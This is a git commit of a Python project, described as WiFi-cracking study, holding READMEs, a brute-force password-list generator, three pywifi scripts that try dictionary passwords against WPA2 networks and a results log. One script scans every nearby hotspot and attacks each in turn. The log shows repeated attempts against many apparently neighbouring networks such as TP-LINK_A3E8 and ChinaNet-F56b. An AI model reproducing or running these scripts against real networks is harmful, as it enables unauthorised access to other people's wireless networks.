创建新项目

将之前的研究的python3密码字典匹配wifi密码的代码整理,上传
This commit is contained in:
xiexie1993 2018-02-21 16:17:30 +08:00
parent 374dd7e988
commit c2216490cb
16 changed files with 3185 additions and 0 deletions

77
README.md Normal file
View File

@ -0,0 +1,77 @@
# Python学习研究---密码本破解wifi密码
## 一、概述
+ 目的
+ 研究与理解wifi破解原理与手段
## 二、环境配置
+ 操作系统
+ windows7/windows10/linux
+ 运行环境
+ python3 开发时使用版本python3.6
> 需要python的第三方模块 pywifi
+ 部署
+ 步骤 1 安装好python3下载安装包-->安装-->配置系统变量)
+ 步骤 2 安装所需的python模块 pywifi pip安装或者下载模块包离线安装
+ 步骤 3 下代码,开启电脑的无线wifi开关电脑需要有无线模块并开启
## 三、代码概要
+ 实现过程:
+ 1首先导入pywifi模块因为要启用wifi那么必须要有启用wifi的模块。
+ 2有了启用wifi的模块以后我们首先要抓取网卡接口 
> 因为连接无线wifi必须要有网卡才行。一台电脑可能有很多网卡 
> 但是一般都只有一个wifi网卡我们选择一个网卡就行了。
+ 3抓取到以后就进行连接测试首先是要断开所有的wifi网卡上的已连接成功的因为有可能wifi上有连接成功的在。
+ 4断开所有的wifi以后我们就可以进行相应的破解动作
## 四、目录结构
<pre><code>
./ 根目录
├─ cipher_generation_method_1 密码生成的代码1穷举生成一行一个
| ├─ psswd_num.py 穷举生成不同组合的密码
│ ├─ README.md 自述文件
| └─ ...
├─ crack_method_1 实现方法 1 的代码
│ ├─ python_wifi_pwd.py
│ ├─ README.md 自述文件
| └─ ...
├─ crack_method_2 实现方法 2 的代码
│ ├─ python_wifi_pwd.py
│ ├─ README.md 自述文件
| └─ ...
├─ crack_method_3 实现方法 3 的代码
│ ├─ python_wifi_pwd.py
│ ├─ README.md 自述文件
| └─ ...
├─ resource_package 离线资源包
│ ├─ pywifi-master.rar python的pywifi模块离线包需要解压放到系统中的python的安装库中才能全局使用
│ ├─ README.md 自述文件
| └─ ...
├─ References 参考资料(存放用于参考的文献电子书)
| └─ ...
├─ README.md 自述文件
└─ ... 更多目录或文件(欢迎创建)
</code></pre>
## 五、更新日志
## 六、开发日志
## 七、总结与展望
## 八、参考资料

View File

@ -0,0 +1,54 @@
# Python学习研究---密码本穷举组合生成
## 一、概述
+ 目的
+ 排列组合生成密码
## 二、环境配置
+ 操作系统
+ windows7/windows10/linux
+ 运行环境
+ python3 开发时使用版本python3.6
+ 部署
+ 步骤 1 安装好python3下载安装包-->安装-->配置系统变量)
+ 步骤 2 进入代码psswd_num.py,根据相应的需求注释或取消注释,更改密码本生成路径或文件名称
## 三、代码概要
+ 实现过程:
+ 1首先将密码中的大小写字母、数字、特殊符号分别赋值给数值变量。
+ 2利用循环需要几位就几层嵌套循环每层循环对应一位密码
+ 3遍历组合将排列组合好的密码一行一个的写入文件中。
## 四、目录结构
<pre><code>
./ 根目录cipher_generation_method_1 密码生成的代码1穷举生成一行一个
├─ psswd_num.py 穷举生成不同组合的密码
├─ README.md 自述文件
└─ ...
</code></pre>
## 五、更新日志
## 六、开发日志
## 七、总结与展望
## 八、参考资料

View File

@ -0,0 +1,164 @@
# coding:utf-8
# 生成6位纯数字密码字典
#-------------------------------------------------------------------------------
# # version 1.0
# import os
# pds = []
# rg = range(0,10)
# for first in rg:
# for second in rg:
# for three in rg:
# for four in rg:
# for five in rg:
# for six in rg:
# num = "%s%s%s%s%s%s"%(first,second,three,four,five,six)
# pds.append(num)
# file_path = r"C:\Users\XieZhenBin\Desktop\psswdNum6.txt" # 生成6位纯数字密码字典文件
# file_object = open(file_path,'w')
# file_object.writelines(['%s%s' %(x,os.linesep) for x in pds])
# file_object.close()
#-------------------------------------------------------------------------------
# # version 1.1
# # 生成6位纯数字密码字典
# import os
# pds = []
# rg = range(0,10)
# for first in rg:
# for second in rg:
# for three in rg:
# for four in rg:
# for five in rg:
# for six in rg:
# num = "%s%s%s%s%s%s"%(first,second,three,four,five,six)
# pds.append(num)
# file_path = r"C:\Users\XieZhenBin\Desktop\psswdNum6.txt" # 生成6位纯数字密码字典文件
# file_object = open(file_path,'w')
# file_object.writelines(['%s%s' %(x,os.linesep) for x in pds])
# file_object.close()
#-------------------------------------------------------------------------------
# # # version 1.2
# # # 生成6位纯数字、字母、特殊符号密码字典
# import os
# pds = []
# # rg = range(0,10) # 0-9数字
# # 26小写字母
# # 26大写字母
# # 特殊符号
# # 0-9数字
# rg = [
# 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
# 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
# '!','@','#','$','%','^','&','*','(',')','-','_','+','=',',',';',
# '0','1','2','3','4','5','6','7','8','9',' '
# ]
# rg0 = [
# 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'
# ]
# rg1 = [
# 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'
# ]
# rg2 = [
# '0','1','2','3','4','5','6','7','8','9'
# ]
# rg3 = [
# '!','@','#','$','%','^','&','*','(',')','-','_','+','=',',',';','~','`','|',':','/',' '
# ]
# # for first in rg:
# # for second in rg:
# # for three in rg:
# # for four in rg:
# # for five in rg:
# # for six in rg:
# # num = "%s%s%s%s%s%s"%(first,second,three,four,five,six)
# # pds.append(num)
# for first in rg:
# for second in rg:
# num = "%s%s\n"%(first,second)
# pds.append(num)
# file_path = r"C:\Users\XieZhenBin\Desktop\psswdNum262609.txt" # 生成6位纯数字密码字典文件
# file_object = open(file_path,'w')
# # file_object.writelines(['%s%s' %(x,os.linesep) for x in pds])
# # file_object.writelines(['%s%s' %(x,os.linesep) for x in pds])
# file_object.writelines(pds)
# # os.linesep 是行位换行符 由于linux和windows操作系统的换行符不一致
# file_object.close()
# ------------------------------------------------------------------------------
# # version 1.3
# # 生成8位纯数字、字母、特殊符号密码字典
import os
pds = []
# rg = range(0,10) # 0-9数字
# 26小写字母
# 26大写字母
# 特殊符号
# 0-9数字
rg = [
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'!','@','#','$','%','^','&','*','(',')','-','_','+','=',',',';',
'0','1','2','3','4','5','6','7','8','9',' '
]
rg0 = [
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'
]
rg1 = [
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'
]
rg2 = [
'0','1','2','3','4','5','6','7','8','9'
]
rg3 = [
'!','@','#','$','%','^','&','*','(',')','-','_','+','=',',',';','~','`','|',':','/',' '
]
rg4 = [
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'0','1','2','3','4','5','6','7','8','9'
]
# for first in rg:
# for second in rg:
# for three in rg:
# for four in rg:
# for five in rg:
# for six in rg:
# num = "%s%s%s%s%s%s"%(first,second,three,four,five,six)
# pds.append(num)
# for first in rg:
# for second in rg:
# num = "%s%s\n"%(first,second)
# pds.append(num)
# file_path = r"C:\Users\XieZhenBin\Desktop\psswd_num8.txt" # 生成8位密码字典文件 绝对地址写法
file_path = r"psswd_num8.txt" # 生成8位密码字典文件 相对地址写法
file_object = open(file_path,'a')
# file_object.write(res)
for first in rg4:
for second in rg4:
for three in rg4:
for four in rg4:
for five in rg4:
for six in rg4:
for seven in rg4:
for eight in rg4:
num = "%s%s%s%s%s%s%s%s\n"%(first,second,three,four,five,six,seven,eight)
# pds.append(num)
print(num)
file_object.write(num)
# file_path = r"C:\Users\XieZhenBin\Desktop\psswdNum262609.txt" # 生成6位纯数字密码字典文件
# file_object.writelines(['%s%s' %(x,os.linesep) for x in pds])
# file_object.writelines(['%s%s' %(x,os.linesep) for x in pds])
# file_object.writelines(pds)
# os.linesep 是行位换行符 由于linux和windows操作系统的换行符不一致
file_object.close()

File diff suppressed because it is too large Load Diff

82
crack_method_1/README.md Normal file
View File

@ -0,0 +1,82 @@
# Python学习研究---密码本破解wifi密码
## 一、概述
+ 目的
+ 研究与理解wifi破解原理与手段
## 二、环境配置
+ 操作系统
+ windows7/windows10/linux
+ 运行环境
+ python3 开发时使用版本python3.6
+ 需要python的第三方模块 pywifi
+ 部署
+ 步骤 1 安装好python3下载安装包-->安装-->配置系统变量)
+ 步骤 2 安装所需的python模块 pywifi pip安装或者下载模块包离线安装
+ 步骤 3 下代码,开启电脑的无线wifi开关电脑需要有无线模块并开启
> pywifi模块安装说明:
+ 在线安装方法:
+ 1我们用cmd命令行,进入到你的文件目录
+ 2使用命令pip install pywifi
+ 本地安装方法: (pywifi的模块包在../resource_package/pywifi-master.rar)
+ 1下载解压好以后我们用cmd命令行,进入到你的文件目录, 
+ 2使用命令pip install . 注意了install后面有个点 
+ 3然后就会安装了等一会就可以了。
## 三、代码概要
+ 实现过程:
+ 1首先导入pywifi模块因为要启用wifi那么必须要有启用wifi的模块。
+ 2有了启用wifi的模块以后我们首先要抓取网卡接口  
+ 因为连接无线wifi必须要有网卡才行。一台电脑可能有很多网卡
+ 但是一般都只有一个wifi网卡我们选择一个网卡就行了
+ 3抓取到以后就进行连接测试首先是要断开所有的wifi网卡上的已连接成功的因为有可能wifi上有连接成功的在。
+ 4断开所有的wifi以后我们就可以进行相应的破解动作
## 四、目录结构
<pre><code>
./ 根目录crack_method_1 实现方法 1 的代码)
├─ python_wifi_pwd.py python3的脚本
├─ wifi_passwd.txt 脚本要使用的密码字典,一行一个密码
├─ README.md 自述文件
└─ ...
</code></pre>
+ 使用说明
+ 1、打开python_wifi_pwd.py修改里面的要破解的wifi的ssid的名称
+ 2、修改要使用的密码本路径
## 五、更新日志
## 六、开发日志
## 七、总结与展望
## 八、参考资料
分分钟搞定python破解无线wifi(https://www.cnblogs.com/shengulong/p/6367343.html)
如何获取隔壁wifi密码非暴力破解(https://www.cnblogs.com/shengulong/p/6367343.html)
WIFI密码破解全攻略https://jingyan.baidu.com/article/f79b7cb3ac67739144023ec0.html

View File

@ -0,0 +1,73 @@
# coding:utf-8
import time #时间
import pywifi #破解wifi
from pywifi import const #引用一些定义
from asyncio.tasks import sleep
class PoJie():
def __init__(self,path):
self.file=open(path,"r",errors="ignore")
wifi = pywifi.PyWiFi() #抓取网卡接口
self.iface = wifi.interfaces()[0]#抓取第一个无限网卡
self.iface.disconnect() #测试链接断开所有链接
time.sleep(1) #休眠1秒
#测试网卡是否属于断开状态,
assert self.iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def readPassWord(self):
print("开始破解:")
while True:
try:
myStr =self.file.readline()
if not myStr:
break
bool1=self.test_connect(myStr)
if bool1:
print("密码正确:",myStr)
break
else:
print("密码错误:"+myStr)
sleep(3)
except:
continue
def test_connect(self,findStr):#测试链接
profile = pywifi.Profile() #创建wifi链接文件
#profile.ssid ="e2" #wifi名称
profile.ssid ="1104" #wifi名称
# profile.ssid ="1601" #wifi名称
profile.auth = const.AUTH_ALG_OPEN #网卡的开放,
profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP #加密单元
profile.key = findStr #密码
self.iface.remove_all_network_profiles() #删除所有的wifi文件
tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件
self.iface.connect(tmp_profile)#链接
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上
isOK=True
else:
isOK=False
self.iface.disconnect() #断开
time.sleep(1)
#检查断开状态
assert self.iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
def __del__(self):
self.file.close()
# path=r"C:\Users\Administrator\Desktop\csdnwifi.txt"
# path=r"C:\Users\XieZhenBin\Desktop\wifipasswd.txt" #写法一:密码本绝对路径
path=r"wifi_passwd.txt" #密码本路径 一行一个密码
start=PoJie(path)
start.readPassWord()

View File

@ -0,0 +1,11 @@
12345678
123456789
88888888
1234567890
00000000
87654321
66668888
11223344
147258369
11111111
WZLZC2008723

84
crack_method_2/README.md Normal file
View File

@ -0,0 +1,84 @@
# Python学习研究---密码本破解wifi密码
## 一、概述
+ 目的
+ 研究与理解wifi破解原理与手段
## 二、环境配置
+ 操作系统
+ windows7/windows10/linux
+ 运行环境
+ python3 开发时使用版本python3.6
+ 需要python的第三方模块 pywifi
+ 部署
+ 步骤 1 安装好python3下载安装包-->安装-->配置系统变量)
+ 步骤 2 安装所需的python模块 pywifi pip安装或者下载模块包离线安装
+ 步骤 3 下代码,开启电脑的无线wifi开关电脑需要有无线模块并开启
> pywifi模块安装说明:
+ 在线安装方法:
+ 1我们用cmd命令行,进入到你的文件目录
+ 2使用命令pip install pywifi
+ 本地安装方法: (pywifi的模块包在../resource_package/pywifi-master.rar)
+ 1下载解压好以后我们用cmd命令行,进入到你的文件目录, 
+ 2使用命令pip install . 注意了install后面有个点 
+ 3然后就会安装了等一会就可以了。
## 三、代码概要
+ 实现过程:
+ 1首先导入pywifi模块因为要启用wifi那么必须要有启用wifi的模块。
+ 2有了启用wifi的模块以后我们首先要抓取网卡接口  
+ 因为连接无线wifi必须要有网卡才行。一台电脑可能有很多网卡
+ 但是一般都只有一个wifi网卡我们选择一个网卡就行了
+ 3抓取到以后就进行连接测试首先是要断开所有的wifi网卡上的已连接成功的因为有可能wifi上有连接成功的在。
+ 4断开所有的wifi以后我们就可以进行相应的破解动作
+ 4自动扫描附近所有的wifi热点依次进行密码匹配是否匹配到密码将破解结构记录 pj_res.txt 文件中
## 四、目录结构
<pre><code>
./ 根目录crack_method_2 实现方法 2 的代码)
├─ python_wifi_pwd.py python3的脚本
├─ wifi_passwd.txt 脚本要使用的密码字典,一行一个密码
├─ pj_res.txt 破解结果日志
├─ README.md 自述文件
└─ ...
</code></pre>
+ 使用说明
+ 1、修改要使用的密码本路径
## 五、更新日志
## 六、开发日志
> 2018-02-21 15:54:40
问题win7 下列举的wifi名称有乱码识别错误会报错停止
## 七、总结与展望
## 八、参考资料
分分钟搞定python破解无线wifi(https://www.cnblogs.com/shengulong/p/6367343.html)
如何获取隔壁wifi密码非暴力破解(https://www.cnblogs.com/shengulong/p/6367343.html)
WIFI密码破解全攻略https://jingyan.baidu.com/article/f79b7cb3ac67739144023ec0.html

View File

@ -0,0 +1,125 @@
# coding:utf-8
import time #时间
import pywifi #破解wifi
from pywifi import const #引用一些定义
from asyncio.tasks import sleep
# 需要第三方库 pywifi (python3 pip install pywifi)
# 缺陷: wifi名编码为乱码时会导致崩溃
# 控制台报错UnicodeEncodeError: 'gbk' codec can't encode character '\xe6' in position 0: illegal multibyte sequence
class PoJie():
def __init__(self,pwdfile,resfiles): # 类初始化
# self.file=open(path,"r",errors="ignore")
self.resfiles= resfiles
self.pwdfile = pwdfile
wifi = pywifi.PyWiFi() #抓取网卡接口
self.iface = wifi.interfaces()[0]#抓取第一个无线网卡
self.iface.disconnect() #测试链接断开所有链接
time.sleep(1) #休眠1秒
#测试网卡是否属于断开状态,
assert self.iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def readPassWord(self,wifissid): # 读取密码字典,进行匹配
print("开始破解: %s"%wifissid)
# 将结果写入文本文件记录
res = "开始破解:: %s \n"%wifissid;
open(self.resfiles,"a").write(res)
pwdfilehander=open(self.pwdfile,"r",errors="ignore")
while True:
try:
myStr =pwdfilehander.readline()
if not myStr:
break
bool1=self.test_connect(myStr,wifissid)
if bool1:
# print("密码正确:"+myStr)
# res = "密码:%s 正确 \n"%myStr;
res = "===正确=== ^_^ wifi名:%s 匹配密码:%s "%(wifissid,myStr);
print(res)
# 将结果写入文本文件记录
open(self.resfiles,"a").write(res)
break
else:
# print("密码:"+myStr+"错误")
res = "---错误--- wifi名:%s匹配密码:%s"%(wifissid,myStr);
print(res)
# 将结果写入文本文件记录
open(self.resfiles,"a").write(res)
sleep(3)
except:
continue
def foreachPassWord(self): # 读取密码字典,进行匹配
print("开始扫描附近wifi...")
wifi_list = self.scans_wifi_list()
print("扫描完成! ^_^")
for index,wifi_info in enumerate(wifi_list):
self.readPassWord(wifi_info.ssid)
print("执行完毕! ^_^")
def scans_wifi_list(self): # 扫描周围wifi列表
#开始扫描
self.iface.scan()
time.sleep(15)
#在若干秒后获取扫描结果
scanres = self.iface.scan_results()
#统计附近被发现的热点数量
nums = len(scanres)
# print("|SCAN GET %s"%(nums))
print("|扫描数量: %s"%(nums))
# 在控制台表格输出 扫描列表
# return self.iface.scan_results()
# 表格 标题行
# print ("%s\n%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s \n%s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70))
print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal"))
# 实际数据
self.show_scans_wifi_list(scanres)
return scanres
def show_scans_wifi_list(self,scans_res): # 显示扫描周围wifi列表
#开始扫描
# self.scans_wifi_list()
for index,wifi_info in enumerate(scans_res):
# print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))
print("| %s | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
def test_connect(self,findStr,wifissid):#测试链接
profile = pywifi.Profile() #创建wifi链接文件
#profile.ssid ="e2" #wifi名称
# profile.ssid ="1104" #wifi名称
# profile.ssid ="1601" #wifi名称
profile.ssid =wifissid #wifi名称
profile.auth = const.AUTH_ALG_OPEN #网卡的开放,
profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP #加密单元
profile.key = findStr #密码
self.iface.remove_all_network_profiles() #删除所有的wifi文件
tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件
self.iface.connect(tmp_profile)#链接
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上
isOK=True
else:
isOK=False
self.iface.disconnect() #断开
time.sleep(1)
#检查断开状态
assert self.iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
def __del__(self):
self.file.close()
# 类写完
# 开始执行
# 导入数据文件 绝对路径写法
# pwdfile=r"C:\Users\XieZhenBin\Desktop\wifi_passwd.txt" #密码字典路径
# resfiles=r"C:\Users\XieZhenBin\Desktop\pj_res.txt" #结果文件保存路径
# 导入数据文件相对路径写法
pwdfile=r"wifi_passwd.txt" #密码字典路径
resfiles=r"pj_res.txt" #结果文件保存路径
start=PoJie(pwdfile,resfiles) #实例化类
# outlist = start.scans_wifi_list()
# print(outlist)
# print(outlist[0].ssid)
# print(outlist[0].bssid)
# print(outlist[0].signal)
outlist = start.foreachPassWord()

View File

@ -0,0 +1,11 @@
12345678
123456789
88888888
1234567890
00000000
87654321
66668888
11223344
147258369
11111111
WZLZC2008723

92
crack_method_3/README.md Normal file
View File

@ -0,0 +1,92 @@
# Python学习研究---密码本破解wifi密码
## 一、概述
+ 目的
+ 研究与理解wifi破解原理与手段
## 二、环境配置
+ 操作系统
+ windows7/windows10/linux
+ 运行环境
+ python3 开发时使用版本python3.6
+ 需要python的第三方模块 pywifi
+ 部署
+ 步骤 1 安装好python3下载安装包-->安装-->配置系统变量)
+ 步骤 2 安装所需的python模块 pywifi pip安装或者下载模块包离线安装
+ 步骤 3 下代码,开启电脑的无线wifi开关电脑需要有无线模块并开启
> pywifi模块安装说明:
+ 在线安装方法:
+ 1我们用cmd命令行,进入到你的文件目录
+ 2使用命令pip install pywifi
+ 本地安装方法: (pywifi的模块包在../resource_package/pywifi-master.rar)
+ 1下载解压好以后我们用cmd命令行,进入到你的文件目录, 
+ 2使用命令pip install . 注意了install后面有个点 
+ 3然后就会安装了等一会就可以了。
## 三、代码概要
+ 实现过程:
+ 1首先导入pywifi模块因为要启用wifi那么必须要有启用wifi的模块。
+ 2有了启用wifi的模块以后我们首先要抓取网卡接口  
+ 因为连接无线wifi必须要有网卡才行。一台电脑可能有很多网卡
+ 但是一般都只有一个wifi网卡我们选择一个网卡就行了
+ 3抓取到以后就进行连接测试首先是要断开所有的wifi网卡上的已连接成功的因为有可能wifi上有连接成功的在。
+ 4断开所有的wifi以后我们就可以进行相应的破解动作
## 四、目录结构
<pre><code>
./ 根目录crack_method_3 实现方法 3 的代码)
├─ python_wifi_pwd.py python3的脚本
├─ wifi_passwd.txt 脚本要使用的密码字典,一行一个密码
├─ pj_res.txt 破解结果日志
├─ wifi_ssid_list.txt 要进入破解队列的wifi的ssid列表一行一个
├─ README.md 自述文件
└─ ...
</code></pre>
+ 使用说明
1、打开python_wifi_pwd.py修改里面的要破解的破解的密码本位置、破解结果日子位置、破解wifi列表位置
2、可进入python_wifi_pwd.py里注释掉执行破解的函数修改完破解ssid的列表先执行扫描
3、执行完ssid后打开fi_ssid_list.txt进行删减再注释掉执行扫描wifi列表的执行破解
## 五、更新日志
## 六、开发日志
> 2018-02-21 15:54:40
+ 问题1win7 下列举的wifi名称有乱码识别错误会报错停止无法全部写入破解的wifi的ssid列表
+ 问题2win7 下破解wifi列表列举的wifi名称有乱码识别错误会报错停止
## 七、总结与展望
## 八、参考资料
分分钟搞定python破解无线wifi(https://www.cnblogs.com/shengulong/p/6367343.html)
如何获取隔壁wifi密码非暴力破解(https://www.cnblogs.com/shengulong/p/6367343.html)
WIFI密码破解全攻略https://jingyan.baidu.com/article/f79b7cb3ac67739144023ec0.html

363
crack_method_3/pj_res.txt Normal file
View File

@ -0,0 +1,363 @@
开始破解:: 1104
wifi:1104 匹配密码12345678
错误 wifi:1104 匹配密码123456789
错误 wifi:1104 匹配密码88888888
错误 wifi:1104 匹配密码1234567890
错误 wifi:1104 匹配密码00000000
错误 wifi:1104 匹配密码87654321
错误 wifi:1104 匹配密码66668888
错误 wifi:1104 匹配密码11223344
错误 wifi:1104 匹配密码147258369
错误 wifi:1104 匹配密码11111111
错误 wifi:1104 匹配密码WZLZC2008723
错误 开始破解:: C
wifi:C 匹配密码12345678
错误 wifi:C 匹配密码123456789
错误 wifi:C 匹配密码88888888
错误 wifi:C 匹配密码1234567890
错误 wifi:C 匹配密码00000000
错误 wifi:C 匹配密码87654321
错误 wifi:C 匹配密码66668888
错误 wifi:C 匹配密码11223344
错误 wifi:C 匹配密码147258369
错误 wifi:C 匹配密码11111111
错误 wifi:C 匹配密码WZLZC2008723
错误 开始破解:: TP-LINK_A3E8
wifi:TP-LINK_A3E8 匹配密码12345678
错误 wifi:TP-LINK_A3E8 匹配密码123456789
错误 wifi:TP-LINK_A3E8 匹配密码88888888
错误 wifi:TP-LINK_A3E8 匹配密码1234567890
错误 wifi:TP-LINK_A3E8 匹配密码00000000
错误 wifi:TP-LINK_A3E8 匹配密码87654321
错误 wifi:TP-LINK_A3E8 匹配密码66668888
错误 wifi:TP-LINK_A3E8 匹配密码11223344
错误 wifi:TP-LINK_A3E8 匹配密码147258369
错误 wifi:TP-LINK_A3E8 匹配密码11111111
错误 wifi:TP-LINK_A3E8 匹配密码WZLZC2008723
错误 开始破解:: @PHICOMM_90
wifi:@PHICOMM_90 匹配密码12345678
错误 wifi:@PHICOMM_90 匹配密码123456789
错误 wifi:@PHICOMM_90 匹配密码88888888
错误 wifi:@PHICOMM_90 匹配密码1234567890
错误 wifi:@PHICOMM_90 匹配密码00000000
错误 wifi:@PHICOMM_90 匹配密码87654321
错误 wifi:@PHICOMM_90 匹配密码66668888
错误 wifi:@PHICOMM_90 匹配密码11223344
错误 wifi:@PHICOMM_90 匹配密码147258369
错误 wifi:@PHICOMM_90 匹配密码11111111
错误 wifi:@PHICOMM_90 匹配密码WZLZC2008723
错误 开始破解::
wifi: 匹配密码12345678
错误 wifi: 匹配密码123456789
错误 wifi: 匹配密码88888888
错误 wifi: 匹配密码1234567890
错误 wifi: 匹配密码00000000
错误 wifi: 匹配密码87654321
错误 wifi: 匹配密码66668888
错误 wifi: 匹配密码11223344
错误 wifi: 匹配密码147258369
错误 wifi: 匹配密码11111111
错误 wifi: 匹配密码WZLZC2008723
错误 开始破解:: ChinaNet-F56b
---错误--- wifi名:ChinaNet-F56b匹配密码12345678
---错误--- wifi名:ChinaNet-F56b匹配密码123456789
---错误--- wifi名:ChinaNet-F56b匹配密码88888888
---错误--- wifi名:ChinaNet-F56b匹配密码1234567890
---错误--- wifi名:ChinaNet-F56b匹配密码00000000
---错误--- wifi名:ChinaNet-F56b匹配密码87654321
---错误--- wifi名:ChinaNet-F56b匹配密码66668888
---错误--- wifi名:ChinaNet-F56b匹配密码11223344
---错误--- wifi名:ChinaNet-F56b匹配密码147258369
---错误--- wifi名:ChinaNet-F56b匹配密码11111111
---错误--- wifi名:ChinaNet-F56b匹配密码WZLZC2008723
开始破解:: 360WiFi-32CABD
---错误--- wifi名:360WiFi-32CABD匹配密码12345678
---错误--- wifi名:360WiFi-32CABD匹配密码123456789
---错误--- wifi名:360WiFi-32CABD匹配密码88888888
---错误--- wifi名:360WiFi-32CABD匹配密码1234567890
---错误--- wifi名:360WiFi-32CABD匹配密码00000000
---错误--- wifi名:360WiFi-32CABD匹配密码87654321
---错误--- wifi名:360WiFi-32CABD匹配密码66668888
---错误--- wifi名:360WiFi-32CABD匹配密码11223344
---错误--- wifi名:360WiFi-32CABD匹配密码147258369
---错误--- wifi名:360WiFi-32CABD匹配密码11111111
---错误--- wifi名:360WiFi-32CABD匹配密码WZLZC2008723
开始破解:: 1104
---错误--- wifi名:1104匹配密码12345678
---错误--- wifi名:1104匹配密码123456789
---错误--- wifi名:1104匹配密码88888888
---错误--- wifi名:1104匹配密码1234567890
---错误--- wifi名:1104匹配密码00000000
---错误--- wifi名:1104匹配密码87654321
---错误--- wifi名:1104匹配密码66668888
---错误--- wifi名:1104匹配密码11223344
---错误--- wifi名:1104匹配密码147258369
---错误--- wifi名:1104匹配密码11111111
---错误--- wifi名:1104匹配密码WZLZC2008723
开始破解:: C
---错误--- wifi名:C匹配密码12345678
---错误--- wifi名:C匹配密码123456789
---错误--- wifi名:C匹配密码88888888
---错误--- wifi名:C匹配密码1234567890
---错误--- wifi名:C匹配密码00000000
---错误--- wifi名:C匹配密码87654321
---错误--- wifi名:C匹配密码66668888
---错误--- wifi名:C匹配密码11223344
---错误--- wifi名:C匹配密码147258369
---错误--- wifi名:C匹配密码11111111
---错误--- wifi名:C匹配密码WZLZC2008723
开始破解:: TP-LINK_A3E8
---错误--- wifi名:TP-LINK_A3E8匹配密码12345678
---错误--- wifi名:TP-LINK_A3E8匹配密码123456789
---错误--- wifi名:TP-LINK_A3E8匹配密码88888888
---错误--- wifi名:TP-LINK_A3E8匹配密码1234567890
---错误--- wifi名:TP-LINK_A3E8匹配密码00000000
---错误--- wifi名:TP-LINK_A3E8匹配密码87654321
---错误--- wifi名:TP-LINK_A3E8匹配密码66668888
---错误--- wifi名:TP-LINK_A3E8匹配密码11223344
---错误--- wifi名:TP-LINK_A3E8匹配密码147258369
---错误--- wifi名:TP-LINK_A3E8匹配密码11111111
---错误--- wifi名:TP-LINK_A3E8匹配密码WZLZC2008723
开始破解:: iTV-F56b
---错误--- wifi名:iTV-F56b匹配密码12345678
---错误--- wifi名:iTV-F56b匹配密码123456789
---错误--- wifi名:iTV-F56b匹配密码88888888
---错误--- wifi名:iTV-F56b匹配密码1234567890
---错误--- wifi名:iTV-F56b匹配密码00000000
---错误--- wifi名:iTV-F56b匹配密码87654321
---错误--- wifi名:iTV-F56b匹配密码66668888
---错误--- wifi名:iTV-F56b匹配密码11223344
---错误--- wifi名:iTV-F56b匹配密码147258369
---错误--- wifi名:iTV-F56b匹配密码11111111
---错误--- wifi名:iTV-F56b匹配密码WZLZC2008723
开始破解:: iTV-F56b
---错误--- wifi名:iTV-F56b匹配密码12345678
---错误--- wifi名:iTV-F56b匹配密码11223344
开始破解:: iTV-F56b
---错误--- wifi名:iTV-F56b匹配密码12345678
---错误--- wifi名:iTV-F56b匹配密码123456789
---错误--- wifi名:iTV-F56b匹配密码88888888
---错误--- wifi名:iTV-F56b匹配密码1234567890
---错误--- wifi名:iTV-F56b匹配密码00000000
---错误--- wifi名:iTV-F56b匹配密码87654321
---错误--- wifi名:iTV-F56b匹配密码66668888
---错误--- wifi名:iTV-F56b匹配密码11223344
---错误--- wifi名:iTV-F56b匹配密码147258369
---错误--- wifi名:iTV-F56b匹配密码11111111
---错误--- wifi名:iTV-F56b匹配密码WZLZC2008723
开始破解:: TP-LINK_49C7
---错误--- wifi名:TP-LINK_49C7匹配密码12345678
---错误--- wifi名:TP-LINK_49C7匹配密码123456789
---错误--- wifi名:TP-LINK_49C7匹配密码88888888
---错误--- wifi名:TP-LINK_49C7匹配密码1234567890
---错误--- wifi名:TP-LINK_49C7匹配密码00000000
---错误--- wifi名:TP-LINK_49C7匹配密码87654321
---错误--- wifi名:TP-LINK_49C7匹配密码66668888
---错误--- wifi名:TP-LINK_49C7匹配密码11223344
---错误--- wifi名:TP-LINK_49C7匹配密码147258369
---错误--- wifi名:TP-LINK_49C7匹配密码11111111
---错误--- wifi名:TP-LINK_49C7匹配密码WZLZC2008723
开始破解:: Tenda_66BB18
---错误--- wifi名:Tenda_66BB18匹配密码12345678
---错误--- wifi名:Tenda_66BB18匹配密码123456789
---错误--- wifi名:Tenda_66BB18匹配密码88888888
---错误--- wifi名:Tenda_66BB18匹配密码1234567890
---错误--- wifi名:Tenda_66BB18匹配密码00000000
